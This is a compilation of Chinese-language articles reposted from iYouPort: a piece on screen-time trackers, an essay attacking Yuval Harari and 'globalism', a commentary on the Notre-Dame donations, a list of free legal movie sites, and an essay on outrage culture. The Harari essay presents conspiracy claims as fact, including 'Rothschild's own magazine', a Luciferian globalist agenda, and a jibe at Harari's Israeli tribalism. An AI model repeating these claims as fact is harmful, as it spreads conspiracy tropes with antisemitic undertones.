追踪社交媒体使用情况的新应用正在激增。 其中之一是来自 Omni Calculator 的工具，它可以计算您的屏幕使用时间，并告诉您：如果把这些时间用来专注于阅读，您可以读完多少本书。

计算器显示，如果每天能减少三次10分钟的社交媒体使用，意味着您每年可以阅读多达30本书。

「图」

「图」

数字成瘾问题是关键的难题之一，于是数字监测工具也是当下的主要趋势。

Google用户现在可以查看其屏幕时间的数据，Android 用户可以设置应用程序时间限制；苹果、Facebook 和 Instagram 都提供类似的功能。

据谷歌称，如果使用数字健康跟踪应用程序，超过75%的人会对自己的手机使用“感到更满意”。

Omni 计算器还研究了其他方法，计算如果您可以重新利用在社交媒体上花费的时间去进行锻炼，可以燃烧多少卡路里，或实现可以掌握的其他技能。

近年来，对抗数字成瘾问题的社会运动在全球各地发展，因为人们真的意识到了这是一个非常严重的问题。关于为什么，见：《最完美的绑架》。

建议您关闭屏幕上显示的推送通知、删除一些应用程序，多与您的社区组织面对面交流而不是使用通讯工具，并有意识地限制自己的社交媒体时间。

社交媒体也许能有很多好处，但是，集中化社交媒体的操纵只能是弊大于利，见《隐性操控：社交媒体平台正在使用与赌博公司相同的技术只为让你上瘾》。

即使您只是能做到掌控自己的使用时间，对于摆脱 matrix 也是很有好处的。《如何从 Matrix 中醒来？》。〇

原文

妄想未来主义 - iYouPort

其他

如果人类的经历都是感知和妄想的问题，那么精英们如何滥用或征服其他人来补贴他们自己的虚拟现实就不再重要了……

「图」

「图」

也许这是一个过于广泛的概括，但我觉得公众中几乎普遍存在一种这样的感觉：学术界本质上很烦人。这种烦恼的根源有争议，但我认为这源于个人性格和意图的现实。普通大学批准的学术会说，有些人觉得他们讨厌，因为他们“如此聪明”，让其他人羡慕嫉妒恨。我会说它恰恰相反—— 普通学者实际上是非常无知的，但却挥舞着一个天才的错误形象。这就是为什么我经常将他们称为“学术白痴”。

虚假的智慧就像砂纸一样让人感到神经紧张，而普通人并不像学者们认为的那样愚蠢。

在欺诈性的学术图腾柱的顶端是我称之为“学术哲人”的人；守门人、定期对生活和社会的意义进行教诲的人，同时生活在人们可以想象到的最迷人的环境中。这些人在大多数情况下都来自于上等阶级。他们已经在成功之路上畅通无阻，并且只经历了很少的甚至完全没有任何普通人经历的那种挣扎或痛苦。然而，他们不知何故认为自己有资格评论人类状况。

毫不奇怪，这些学者所发展的观点倾向于否定具体的现实。他们寻求充分幻想的议程，如果在现实世界中应用，最终将具有破坏性。

我发现这种情况与许多哲学家相同，不仅仅是今天的，而是整个历史上的。尊敬的柏拉图就是这样一个人。富裕的贵族父母的小儿子，他们在早年生活中需要做的事很少，基本只有思考。除了围绕他的朋友苏格拉底的审判之外，柏拉图从未放弃过精英统治社会的概念。

柏拉图的共和国是精英主义模式的圣地，想象一个主要由学者管理的世界—— 出生时具有超强知识能力的人，注定要统治我们其他人作为仁慈的半神人。

这是一个有趣的巧合，据说客观的精英学者们总是得出结论，认为他们自己是管理社会最有能力的人。

然而，学术阴谋并不完全天真。随着时间的推移，他们已经意识到他们的知识牧师阶级和乌托邦金字塔计划的营销性宣传不是很有效，他们选择了改变叙述。新的叙事是不可避免的；社会主义的必然性，全球主义的必然性和算法自动化的必然性。

换句话说，全球主义将是最高的社会结构，人工智能将控制该结构的日常阴谋，无论公众想要什么。精英们不会直接统治世界，但他们的同类将创造出能够通过社会和技术进化来统治世界的算法和政策。

就像 Jean-Luc Godard 的法国新浪潮电影 Alphaville 一样，我们的想法是，精英们可以简单地坐下来，让算法治理的黑暗“逻辑”去完成肮脏的工作。毕竟，我们怎么可能与电脑争论呢？

我所说的一位学术精英主义者的例子是 Yuval Noah Harari。他的社论最近在主流媒体上发挥了很大的作用，他们关注全球化的必要性以及人类快速适应技术专家的需要，以免他们发现自己“已经过时了”。

Harari 是一位典型的学术哲人，他反复在未来主义意象中隐藏着古老的贵族和封建主义概念。他的论点吸收自其他较小的学者，并且无休止地鹦鹉学舌伪装深刻。

对于那些不熟悉未来主义背后的观点的人，我建议阅读这篇文章“在危险时代的善恶意义”。总而言之，未来学家一致认可必须删除旧方法以便为新方法让路的观念。过去的传统和理想被认为是一个监狱，限制了人类的进步和更美好的明天。他们认为，解决当今不平衡和悲剧的办法是积极拆除现有制度，并以新的原创方式重建。这包括道德和指导原则，他们认为这些原则是令人窒息的和相对的。

未来主义始于20世纪初，在欧洲与俄罗斯的姐妹团体一起成立，被认为是早期社会主义运动的先驱，包括法西斯主义和共产主义。澄清一下，阳光底下无新事，只有旧的想法，只是旋转略有不同。社会主义先于全球主义，这是最古老的思想之一。

像大多数现代学术哲人一样，Yuval Harari 充分展示了未来主义和全

球主义。他与全球主义卡内基国际事务伦理委员会有联系。该组织曾被称为教会和平联盟，帮助推动伍德罗威尔逊让美国参与第一次世界大战，并帮助促进了联合国的建立。

对于我想揭穿这些人经常称之为“自由世界秩序”的东西，他是一个充分的典范。作为参考点，我使用的是 Harari 的两篇文章，其中一篇是关于自动化和机器人取代人类的未来，发表于卫报，另一篇是罗斯柴尔德自己的杂志“经济学人”上发表的关于全球主义的必要性和民族主义的终结。

“人工智能取代大多数人类…是好事“。由于多种原因，这已成为全球主义机构及其学术界的主要叙述。人工智能主导地位是必然性的论点，就像全球主义是必然性的论点一样；两者都是基于自我实现的预言。

Harari 想象他所谓的“没有工作的世界”，这是一个未来20–30年的发展，其中算法机器取代人类作为劳动的主要来源。这一宣传有两个方面，首先，它旨在吓唬公众接受苛刻的集中化和全球治理。Harari 声称，如果没有全球治理和“普遍的基本收入”，人工智能将使大多数没有技术头脑的人变成即时的穷人，他将其标记为“无用的阶级”。在这里，我们看到了诀窍。

像 DARPA、联合国和世界经济论坛这样的全球主义实体一直非常积极地将人工智能推向主流的前沿并参与促销活动。反对公众对技术不信任的运动。与此同时，这些全球主义组织一直认为，如果不加强监管，人工智能可能被民族国家滥用或者可能摧毁整个经济体。

因此，全球主义者告诉你，人工智能的主导地位是进步的必然结果，同时他们花费大量资金和工时来使他们的预测成为现实。然后他们告诉你人工智能将对你的生计和你孩子的生计构成威胁。然后，他们告诉你，唯一的答案是给予他们更大的权力来规范他们创造的问题。

宣传的第二部分是声称人工智能的危险可以转化为乌托邦的利益。如果“没有工作的世界”是大棒，那么普遍的基本收入就是胡萝卜。未来主义者的幻想承诺可以追溯到共产主义的早期，并且总是包括一个明天的土地，所有人都将生活在悠闲之中；一个没有劳动力提供所有必需品的社会。通常在那里提供飞行的汽车和浮动的城市….

Harari 在他为“卫报”撰写的文章中暗示懒惰是大多数人类的自然状态，并且大多数人只要将虚拟存在作为分散注意力的手段，就会在生活中没有任何目的而保持精神上的舒适。他引用了地下室居住的成人

儿童的例子，如果允许的话，他们依靠父母的慷慨和视频游戏的生活。但 Harari 并没有指出鼓励这种行为具有破坏性，而是暗示它应该成为我们社会的“支柱”。

Harari 所忽视的是一个关键问题，为什么许多人适应这样的生活。这不一定是因为他们喜欢成为“无用的阶级”的一部分；他们中的许多人迫切想要找到一种目的感和成就感，因为这种欲望在出生时就在大多数人的心灵中根深蒂固了。只是他们不知道如何做，并且生活在一个似乎越来越多地设计为损害其独立性的环境中。

我要指出，几个世纪以来贵族中的精英们一直在利用普遍基本收入的拐杖作为控制子女行为的手段。精英的后代通常被视为财产，并通过保持幼稚和收入依赖而实现持久的一致性。对于这些孩子来说，追随个人梦想或自由出发几乎是不可想象的，因为他们没有任何实用技能。离开制度只能引发贫困和潜在的死亡。

所以计划是这样的：防止人们变得自力更生，确保你是他们唯一的收入来源，然后使用这些收入主宰他们，好像他们欠你的一样。Harari 则呼吁为整个世界采取这种控制措施。

就像 Aldous Huxley 的勇敢新世界一样，Hariri 的“没有工作的世界”依赖于阿片剂，但在这种情况下，是虚拟现实的技术选择。他声称这并不是什么新鲜事，人类长期参与虚拟现实游戏，参与宗教活动和获取财产。我没有看到他的比较中的逻辑。

然而，这种咆哮确实让我们更深入地了解了另一种全球主义宣传 meme，即所有经验都是感知问题，所有结论都是相对的，包括道德结论。我写过几篇关于全球主义和道德相对主义问题的文章，以及为什么它建立在谎言和虚假信息之上。我觉得这是我们这个时代或任何时代最重要的辩论之一，因为它决定了我们人类的生存。

如果没有任何意义，宇宙或人类没有设计，那么为什么要设法集中控制这个游戏呢？当然，这是精英们的无稽之谈，我不确定他们是否相信自己正在销售的垃圾。

正如我在过去的文章中所提到的，许多学者已经提供了相当多的证据证明了人类固有的心理素质，包括天生的良知和道德指南，以及原型二元性，它们为我们提供了固有的选择。从 Carl Jung，到 Joseph Campbell 到 Steven Pinker 等，真正的科学家和研究人员已经进行了数十年的实验、数据收集和观察，以支持他们的结论。

像 Hariri 这样的学术哲人们没有这个概念。他们认为，如果他们用足够傲慢的虚张声势陈述观点，那么他们就需要将其巩固为事实。

全球主义者特别喜欢相对主义叙事的原因是为了在追求他们的集权目标时维护他们的行为。这种行为通常基于“结束证明手段”的方法，并且与我们固有的同情和良心的声音背道而驰。如果人类的经历都是感知和妄想的问题，那么精英们如何滥用或征服其他人来补贴他们自己的虚拟现实就不再重要了。

事实上的全球中央集权被精英学者起了很多委婉的名字：新的世界秩序、多极世界秩序、全球重建、全球公域、自由世界秩序等。全球主义者花费大部分时间试图重新打包全球化背后的营销以令它更适合群众。这通常是一个不诚实的过程，因为它要求他们错误地将全球主义的失败归因于自由市场和民族主义。

Hariri 提出了一个观点，即 宣称“自由世界秩序”在经济和地缘政治上成功地改善了地球几代人，但后来争辩说民族国家开始“破坏”这种稳定。

这是当今全球主义者的首要脚本—全球主义起作用，民族主义和独立经济不起作用，倒退就是自杀。也就是说，他们认为今天的“民粹主义”运动是一种自杀性的倒退。

Hariri 自豪地指出，任何试图在全球主义体系之外运作的国家都会陷入经济混乱，但不承认2008年全世界陷入的混乱，正是因为各国相互依赖，贸易机制根深蒂固，崩溃一个主要经济体就拖累一大串经济体。这是全球主义引发的癌性弱点，而不是孤立主义或民族主义。并且，这是一个在2019年持续存在的弱点。

然而，解决方案总是相同的—更加的全球化。国家经济中缺乏自给自足和冗余不是应该庆祝的事，而是应该纠正的事。

正如 Hariri 在他为“经济学人”撰写的文章中指出的那样，创造一种“全球认同”，这一点并不困难。所需要的只是一个共同的敌人，还有比核战争的威胁、气候变化的威胁、和人工智能威胁更好的“敌人”吗？

我不明白为什么全球主义机构应该被认为比国家政府更值得信赖，更不用说当地部落了。Hariri 是一位以色列教授，显然从这种文化的部落主义中受过益，同时又劝告警惕它。全球主义者表现得好像他们忠于人性，但他们真的只忠于他们自己的寄生意识形态，以及他们自己

的部落—全球主义部落。

为了将全球主义提升到更类似于宗教而不仅仅是政治哲学的东西，Hariri 汲取了最后一个经典的乌托邦式幻象—神性的承诺。这个想法在他的书中比在他的文章中更突出，但它再次证实了此前所讨论的怀疑：全球主义建立在与路西法主义意识形态非常相似的基础之上，全球主义技术专家被自恋的反社会主义者所激发变得像上帝一样。〇

The argument that AI dominance is an inevitability is much like the argument that globalism is an inevitability; both are based on self fulfilling prophecy. The Delusional Futurism Of ‘Liberal World Order’ Academics

原文

富人式爱心 - iYouPort

其他

巴黎圣母院事件充分体现了人类的爱心，它证明了人类是可以有同情能力的。但问题在于，为什么只有巴黎圣母院才能看到人类的爱心？

像巴黎圣母院这样的历史地标是文化的重要标志，因此人们自然会在情感上用这些符号来识别他们的文化。然而，请面对面对现实吧，大教堂只是一座建筑物，它的部分燃烧而没有任何人受伤是“第一世界问题”的缩影。

世界各地的历史地标每天都在遭受摧毁，无论是自然的还是认为的，但这些损失往往被忽视、甚至有时还会被庆祝。

当土地被摧毁以便为工业管道腾出空间，或者当建筑被拆除并被商场所取代时，从来没有一个像巴黎圣母院这样的全球性的行动呼吁。同样地，当炸弹落在中东和非洲时，在这些袭击中被毁掉的建筑物和文物从来没有被赋予任何意义，即使这些历史遗迹是最早期人类文明的残余。

在 Notre-Dame 的案例中，捐赠来自世界各地，以协助建筑物的修复。据说已经筹集了近10亿美元，其中大部分捐款来自极其富有的捐助者。

其中一些捐款高达数亿美元，来自 Gucci 和 Louis Vuitton 等服装品牌背后的富豪家族，以及能源和化妆品巨头公司。苹果的蒂姆库克甚至表示，数十亿美元的技术公司将为修复做出贡献。

但是，与此同时，像波多黎各这样的地方，在一年多前发生的致命自然灾害后至今仍在努力筹集资金。那些富人在哪儿？；尽管政界人士声称密歇根州弗林特的水危机“已经解决”，但该问题被暴露多年后，该地区的许多人仍然没有干净的水可以使用。那些富人在哪儿？；在大多数全球社会中，贫困和无家可归现象十分惊人，绝大多数人口在大部分时间里都在工作，但是仍然只能仅仅糊口而已。那些富人……

考虑到威胁地球上人类文明和动物生命的所有问题，世界各地的人们尤其是富人将可替换的文化古迹优先于人类的现实生活本身以及他们称之为家园的地球健康危机，似乎是愚蠢的。然而，这种行为对人类物种来说是典型的，正是我们遭遇战争、贫困和濒危物种等问题的原因。

人们像崇拜神一样崇拜他们的文化，但是，他们对待自己生存的自然世界和他们的同类人类，却如野兽一般施加残暴的战争和无情的控制。

在 Notre-Dame 的火灾后所显示的压倒性的慈善事业举动表明，人类完全有能力同情，至少可以很容易地筹集到能够解决世界问题的钱。

当然，清理地球和养活穷人将花费超过10亿美元，但如果能在24小时内就可以筹集到10亿美元，那么想象一下，如果人们开始指导慈善机构解决人类生存和环境问题，他们可以做些什么呢？这些眼下棘手的危机实际上正在摧毁这个星球上的生命。

正如Joe.ie的 Carl Kinsella 所指出的那样，“如果超过70亿人口的世界上有两个人可以在6小时内提供3亿欧元来恢复圣母院，那么足够说明这个世界上有足够多的钱养活每一张嘴，庇护每个家庭，教育每一个孩子。

人们没有这样做，不仅是一个意志问题，也是系统性问题。未能做到这一点的原因是我们未能认识到每天都在我们周围泛滥的紧急事件。“

“从巴黎到波斯波利斯，世界各地都有人在受苦。他们每天都在遭受痛苦。但他们的痛苦从来没有点亮媒体的头版，也没有激发世界上最富有的人立刻的捐款”

这是全球媒体的错误，它们避免深入性地报道战争、环境问题或可能使赞助商退缩的糟糕经济状况。这个世界上的人总体上是善良的，他们只是被他们崇拜的文化引入歧途了。

The people of the world are generally good, they are just being led astray by the cultures that they worship. BILLION DOLLARS HAS BEEN RAISED FOR NOTRE DAME CATHEDRAL BUT WE CAN’T FIX THE PLANET

原文

想看免费电影吗？这里有 13 个合法的下载网站 - iYouPort

其他

从非法来源下载电影和电视节目通常会让您陷入麻烦。随着 Netflix，亚马逊，HBO 等流媒体服务的出现，在家中观看电影和电视节目变得比以往更加享受。但是，如果你不想花订阅费呢？又不想去电影院？而且还不想违法，那么这里有一些合法的下载网站可以推荐给你。

虽然目前这些来源的内容数量有限，但之后应该会不断增加。你可以收藏它们。这里是 2018 年免费的合法下载网站。

1. The Internet Archive:

「图」

「图」

从 Internet Archive，您可以免费下载数百部电影，种子形式。

大约4-5年前 Internet Archive 还仅提供直接链接，并且由于文件很大，通常电影下载失败。由于洪流链接出现，现在你可以轻松享受数百部电影，而无需花一分钱。本网站上发布的整体目录不断增长，并且每天都会添加新内容。该网站还允许创建一个免费的虚拟借阅卡，授权您访问论坛、上传视频、书签收藏内容等。

2. Retrovision:

「图」

「图」

Retrovision 是下载电影的绝佳来源。通过访问这个免费电影下载网站，您可以获得许多经典作品和免费的公共领域的电视节目。有一个名为 Classic UHF 的 Android 应用程序，您可以使用它在外出时抓取

和观看内容。

3. YouTube:

「图」

「图」

就像数百万免费的猫视频一样，YouTube 也有众多公共领域的电影。有多个频道可让您免费观看公共领域的电影。有一些特定的电影和电视节目是 YouTube 的原创，你可以享受他们而无需支付一分钱。

谈到一些热门频道，最重要的是 The Paramount Vault ，其中有一长串经典故事片。您还可以在Public Domain Full Movies，Maverick Movies 和 Popconflix 频道上找到更多电影。虽然在 YouTube 上查找免费电影可能有点困难，但由于其良好的流式传输速度和较少的广告，因此推荐使用。您还可以在 YouTube 应用上为免费电影添加书签，并随时随地观看。

4. Crackle

「图」

「图」

Crackle 是索尼旗下免费电影的绝佳网站。你可以看很多电影。需要进行简单注册，创建关注列表，它会根据您的兴趣优先级显示建议。

Crackle 提供很多流行的电影和电视节目，在其他网站上基本找不到免费的。不过你可能需要看点广告。Crackle 也有 Android 和 iOS 应用，这是一个明显的优势。由于许可限制，Crackle 上的部分内容可能会在您的国家被封锁。您可以使用 VPN 或代理服务访问它们。

5. Pluto TV

「图」

「图」

Pluto TV 模仿传统的电视布局，该服务可在线观看免费电影，提供来自不同类别的超过 75 个电视频道，分为新闻，电视，电影，科技，体育和其他热门节目。也提供几乎所有流行平台的官方应用程序，您

可以随时随地欣赏内容。也有自己的专用电影频道。有一点你应该注意的是，有些频道只有在美国才可以使用。因此，您可以使用 VPN 服务或代理来获得不间断的体验。

6. Open Culture

「图」

「图」

提供来自全球各地的高品质视频。这里有免费电影，免费在线课程和免费语言课程。它成立于2006 年，有 6 个主要部分：电影，在线课程，语言课程，电子书，教科书，有声读物。电影部分的内容不错。目前可在线收看 1,150 部免费电影，其中包括奥斯卡获奖电影和查理卓别林电影的特别收藏。

7. MoviesFoundOnline:

「图」

「图」

本网站包括免费电影，独立电影，电视节目和单机喜剧视频。该网站提供的免费电影包括从邪典、短片到纪录片和喜剧电影。它收藏了很多公共领域的电影。由于 MoviesFoundOnline 不会自行托管或上传任何媒体，因此如果有侵犯版权的行为，它会主动删除电影。

8. PopcornFlix:

「图」

「图」

这个免费的电影流媒体网站为 Screen Media Ventures 所有。该网站提供了许多公共领域的电影和原创内容。您可以使用此网站在任何类型的设备上浏览内容，而无需花费一分钱。该网站拥有数千部免费电影，分散在多个类别中，如戏剧，动作，喜剧，恐怖等。在这里，您还将获得许多免费电视节目和完整的国家地理系列目录。

9. Classic Cinema Online:

「图」

「图」

如果你是经典电影的粉丝，Classic Cinema Online 将会成为你最好的新朋友。这个电影下载网站主要是经典之作，比如 Bye Bye Birdie，Mobey Dick，Lone Ranger 等等。使用其有用的按类别排序功能，可以查找适合不同人的内容，快去拿爆米花吧。

10. Hulu:

「图」

「图」

基于订阅的流式传输网站 Hulu 也可以为您提供免费服务（该帐户内容有限）。在这里，无需下载电影，您可以流式传输超过 100 部免费电影。除了电影还有很多免费的电视剧。Hulu也有适用于 Android 和 iOS 的应用程序。同样，Hulu 不是在全球所有国家都可用的。因此，需要使用 VPN 或代理。

11. Public Domain Torrents:

「图」

「图」

这里有一些很经典的老电影。电影有多种格式，您可以根据需要下载。

12. Vimeo

「图」

「图」

就像 YouTube 一样，Vimeo 也有很多免费电影。毫无疑问，该网站提供了一个干净的布局，使其成为希望在线观看免费独立电影和纪录片的电影爱好者的绝佳场所。有很多短片可供您娱乐。您可能不知道，Vimeo 还提供了一个可以为电视节目和电影付费的点播内容部分。

13. Yahoo View

「图」

「图」

你只能在美国访问这项服务提供的大部分免费内容。当然你可以使用 VPN 在其他国家访问，不过不确保适用于您。用于在线免费流式传输电影的网站已将所有内容排序在一个干净的界面中，您可以选择您感兴趣的任何流派。如果您有兴趣，该网站还会提供电影预告片，免费电视节目和纪录片。这个免费电影网站上的很多内容都由 Hulu 和其他服务提供支持。在每个视频下，您会看到一条消息，显示还剩多长时间到期。

此外的一些免费电影网站是 Yidio，Viewster，SnagFilms，Kanopy，Vudu，美国电影，Tubi 电视，Veoh 等。这些资源都不错。慢慢享受吧。

原文

愤怒文化 - iYouPort

其他

科学和技术已经抑制了人为的和自然灾害的刺痛。但是，这些进步也减少了关键的社会压力因素的影响，缩减了能将我们聚集在一起的闪点事件。其中一个后果就是愤怒文化。这是一篇值得思考的文章，关于暴涨的冲突、民族主义、歧视、圈子和部落化、甚至传媒的灾难美学等现代现象，更深层次的来源……

「图」

「图」

丹麦存在主义者 SørenKierkegaard 曾经提出，人类经验的吸引力不在于安慰和自满，而在于斗争和自我发现。事实上，人类历史正是由灾难和集体发展的循环所决定的。虽然农作物可能会欠收、定居点可能被洪水吞没、疾病可能会蔓延，但人类依旧有能力重建并再次巩固住。

科学和技术已经抑制了了人为的和自然灾害的刺痛。但是，这些进步也减少了关键的社会压力因素的影响，缩减了能将我们聚集在一起的闪点事件。其中一个后果就是愤怒文化。

在没有自然灾难的情况下，人们创造了人为的灾难。人们认为，进化的心理适应性决定了*共渡难关的需要*。

愤怒文化简直就是普通文化的祸害。通过打击不存在的危机，操作者可以通过这个过程轻松地实现团结一致。无论是制造仇恨犯罪的恶意行为者、夸大威胁的记者，还是创造黑名单的学者，他们激起的群体愤怒都满足了“团结克服共同威胁”的强烈愿望。

遭受灾难蹂躏的社区很少陷入混乱和沮丧。相反，它们变得越来越平等和相互依赖。

考虑在第二次世界大战期间的英国人和德国人。

在德国空军的轰炸下，英国政府预计平民士气将崩溃。但随着闪电战的进展，精神病院的入院率下降了。家庭情报报告发现，神经冲击案例仅占所有突袭伤亡人数的5%。一家伦敦医院报告平均每周只有两例“炸弹神经官能症”。

然而，更引人注目的是社会团结的增加。虽然英国社会的特点是阶级差异，但这种差异在德国斯图卡的战争中消失了。在战争前从未互动过的人们此时建立了温暖的关系，在讨论他们的恐惧和愿望的同时分享资源。在家庭，企业，火车站和街道—无论人们聚集在哪里—都存在着一种共同体的氛围。特别是英国的酒吧充斥着谈话和歌曲，充斥着渴望释放宣泄的顾客。看来，每个人都有一个“战争故事”。

但就像闪电战一样糟糕，与盟军轰炸机对德国城市所做的一切相比，它变得苍白无力。到1945年3月，柏林的住宅中心已经减少成了瓦砾。在德累斯顿，燃烧弹造成了火焰墙，吸收了如此多的氧气，以至于那些没有受到爆炸伤害的人最终死于窒息。

德累斯顿在一夜之间失去的人数超过伦敦在整个战争期间的死亡人数。但值得注意的是，盟军的报告显示德国“士气”在被轰炸最多的城市中仍然是最高的。

战争疲惫期间的团结和复原的情况并不少见。 1897年，社会学家埃米尔·迪尔凯姆（Emile Durkheim）就观察到欧洲国家在战争和革命中的自杀率显著下降。在第二次石勒苏益格战争（1864年）和普鲁士战争（1866年）中，自杀率分别下降了16%和14%。

爱尔兰心理学家H.A.进一步证实了这些发现。 1969年北爱尔兰骚乱期间，莱恩斯报道贝尔法斯特自杀事件减少了50%。

奇怪的是，自然灾害的幸存者表现得与此类似。

在对1952年白县龙卷风的一项研究中，国家舆论研究中心发现，53%的居民报告了个人性格方面的积极变化。事实上，Charles Fritz在审查美国对自然灾害的社会反应时，没有发现灾难后持续出现恐慌的情况。

是什么解释了灾难和团结之间的这种联系？

根据 Fritz 的说法，灾难创造了一个“受害者社区”；个人统一的超越目标：生存。为克服灾难的危险和重新稳定社会生活而进行的斗争为

日常生活中缺乏的人类活动提供了一种结构和目的。

而且，灾难实现了法律所不能实现的：平等。因为灾难在它们不分青红皂白地杀害的能力方面具有独特的平等主义，它们会削弱所有使我们与众不同的品质。财富、种族、政治派别，这些平日里人们最关注的东西在炸弹和飓风面前根本不存在。

当人们聚集在一起打击存在的威胁时，他们会暂停种族、宗教和意识形态的差异。在这些条件下，我们可以使用悲剧作为*共同的参考框架*，自由地相互作用。

灾难也具有神奇的原始性，它们重现了人类祖先进化的共同条件。

进化心理学家告诉我们，人类行为和认知是永恒进化过程的产物。我们的大脑和行为是由我们的狩猎采集者祖先所经历的环境和选择压力所塑造的。这些进化的程序中的每一个都存在，因为它们促进了一种增强早期人类生存和生殖健康的行为。

例如，人类似乎在进化上已经准备好了害怕蛇和蜘蛛。我们的一些祖先看到了这些生物，并以恐惧和回避的方式回应。其他人则没有。那些幸存下来的人通过这个生存系统（见到蛇跑开）向后代遗传。

我们的大脑发展为从环境中提取信息，然后用它来规范我们的行为。随着时间的推移，这些信息会产生专门的认知程序来指导我们的行为。

这表明灾难与团结之间的关联决不是随机的。我们擅长克服危机，因为我们已经这样做了数千年。合作是关键。

合作不是新发明的玩意，它是建立在数千年的进化试验和错误经验基础上的强大的生存机制。这是一种适应性行为。

适应行为是改善个体及其亲属繁殖成功的策略。此外，它们也是对适应性问题的回应。灾难是合作演变为克服的一个主要的适应性问题。事实上，正是这种灾难与合作之间的相互作用决定了我们过去的进化。

我们的早期祖先生活在约150人的小型亲属社区中。受到贪婪的掠食者和令人讨厌的疾病的折磨，人类通过分享食物和交易恩惠而幸免于难。

考虑 Hill 和 Kaplan 的风险汇总假说。作者发现巴拉圭东部的 Ache

避免了由于存在稀缺食物的风险而导致的饥饿。虽然蔬菜可以由个别家庭种植，但是在集体层面上共享稀有的营养密集的食物，如肉和蜂蜜。这确保了当供应量低时，部落内的所有人也都可以吃东西。

研究人员还表示，我们与掠食者的互动塑造了人类合作的冲动。考古记录中充斥着致命的掠食者，他们既猎杀我们的祖先又与他们争夺食物。捕食风险和资源竞争的这种结合促进了早期人类的社会性。特别是，我们的祖先采用了资源防御模式，将肉类运送到拥有水和植物等固定资源的“家庭基地”。

合作使我们与最亲近的进化亲属区别开来。 Sapiens 的作者 Yuval Harari 指出，一只黑猩猩会击败一个人类，但是1000个人类会击败1000只黑猩猩。这是因为人类的合作技能远远超过黑猩猩的合作技能。正如 Harari 所说的，“在华尔街或洋基体育场放置10万只黑猩猩，你会感到混乱；如果在那里安置10万人，你将获得贸易网络和体育竞赛。“

简而言之，合作改善了参与其中的人的成功。神经科学家 Matthew Lieberman 在他的著作“社会：为什么我们的大脑有连接”中指出，前扣带回皮层和前脑岛—负责疼痛的大脑区域，可以激活社会疼痛和身体疼痛，感觉受到排斥的字面伤害与被踩脚或被灼伤的方式相同。

它也负责快乐。参与奖励机制的大脑区域，腹侧纹状体和眶额皮层，以类似的方式响应社交愉悦和身体愉悦。研究发现，当我们被告知其他人喜欢我们时，就像吃了甜食或赢钱一样，大脑的同一区域会被激活。神经科学家 Jaak Panksepp 表示，大脑的社会依恋系统选择了我们的痛苦和快乐系统，这促使我们保持社会联系并避免被孤立。

进化打赌，劫持我们大脑的痛苦和快乐中心以回应社会认可或反对会增加我们的生存几率。显然，它赢了。

考虑催产素，或者通常被称为“爱因子”。在怀孕期间和分娩后，催产素会淹没母亲的大脑，为孩子创造强大的依恋。事实上，研究人员提出，哺乳动物中所有社会性的生物学原型都存在于母婴互动中。

关于催产素的流行误解是它使人们之间的关系更好。它确实如此，但仅限于我们团队中的那些人。催产素可以增加对我们认为是威胁的人的攻击性和敌意。正如 Lieberman 所说，“在非同伴中，催产素导致个人将所有外人视为可能的威胁，从而增强对他们的侵略。”并且对人类施用催产素“促进了对受欢迎的群体和陌生人的照顾，但它也促进了对不喜欢的成员的敌意“。

然后就是社会大脑假说。我们的大脑是我们的祖先需要在复杂的社会关系网络中导航的结果。心理学家威廉·冯·希佩尔（William von Hippel）表示，“我们的情报并没有演变为解决抽象问题和处理环境的复杂方法。我们的智慧发展到了可以更有效地相互交流，并利用在一起工作时的技能和能力。“

我们非常热衷社交、需要并渴望社交。通常，当外部威胁出现时，团结就会实现。

我们现在生活的世界与祖先经常光顾的世界截然不同。然而，我们的认知计划是针对这种社会环境而形成的。技术进步使我们摆脱了过去进化的那种负担。

考虑一下战争的频率不断缩小。在 //Enlightenment Now// 中，Steven Pinker 指出，“自1945年以来，任何一年的战争都不会超过三场，自1989年以来的大多数年份都没有战争，自美国领导的入侵伊拉克以来……。”2016年，随着哥伦比亚政府和哥伦比亚革命武装力量实现和平，西半球最后一次积极的政治武装冲突结束了。战争现在几乎全部集中在从尼日利亚到巴基斯坦的地区，该地区的人口不到世界人口的六分之一。

此外，现代战争造成的死亡人数也比任何历史时期都要少。人际暴力的比率也在下降。犯罪学家 Manuel Eisner 记录了整个欧洲凶杀案的长期减少情况。在历史上，人类生活得更加平静。

自然灾害怎么样？虽然灾难性事件的发生频率没有下降，但这些事件的死亡人数却有所下降。 1900年至2018年间，全球自然灾害死亡率从每10万人76.8人降至每10万人0.14人。或者考虑闪电死亡事故，在20世纪的第一个十年中，美国因闪电造成的年平均死亡率为百万分之4.5。在21世纪的前15年，它下降到百万分之0.12。

这些发展是技术进步的幸运副产品。正如 Pinker 所解释的那样，“当地震发生时，会被坍塌的砖石压碎或死于火灾的人更少了。早期预警系统、预测模型和灾害管理战略的出现也减少了灾难的发生。

然而就如法国谚语所说，事情变化得越多，它们就越保持不变。现代性降低了人为和自然灾害的杀伤力。但我们对团结的渴望仍然存在。人类被迫克服危机。这是一种进化本能。

古代祖先的想法仍然留在我们的基因里。正如 Hector Garcia 在《性，权力和党派之争》中所写的那样，“虽然自从我们作为狩猎采

集者的年代以来被邻近部落屠杀的风险已经减弱，但我们的思想仍然会因为在部落内流血事件中挣扎的祖先环境而得到校准。”

我们一起经历了艰辛困苦。联合早期人类的史前压力源不再存在。现在我们创造人造的压力源。这是今天激发人们的愤怒的一个基础。

愤怒文化是平凡的灾难。任何事件，无论多么普通或缺乏想象力，都是道德整理和集体行动的机会。

但是，令人不安的是，集体愤怒反映了我们克服挑战的愿望。SørenKierkegaard 指出，有一段时间里，你能为人们做的最好的事就是让事情变得困难。当生活的轻松变得如此之大以至于已经看不清时，人们将主动去寻找能够提供目标和实现的挑战。

所有灾难都具有统一的潜力。事实上，愤怒文化是由对团体团结的无意识欲望驱动的。

鉴于这些平凡的事件没有任何可识别的后果（死亡、流离失所等）对错误没有任何有意义的权利。换句话说，它们并不重要。但重要的是团结。愤怒不是你做的事情，而是你所参与的事。

愤怒文化似乎是由概念蠕变培养出来的。这个想法是，随着世界变得更加安全，我们对构成伤害的定义范围也会扩大。考虑暴力的概念。暴力曾经被定义为一种物理行为，但有些人已经将其扩展到了包括语言。

概念蠕变似乎对我们来说很自然。在最近的一项研究中，实验者向人们展示了一系列蓝色和紫色的点。然后要求他们判断每个点是否为蓝色。在早期试验中，一半的点是蓝色的，而另一半是紫色的。渐渐地，实验者开始操纵那些点，以便出现更多的点是紫色的。然而，参与者开始扩大了他们对“蓝色”的定义，并将许多紫色点计为蓝色。他们寻找蓝点并设法“找到”它们。

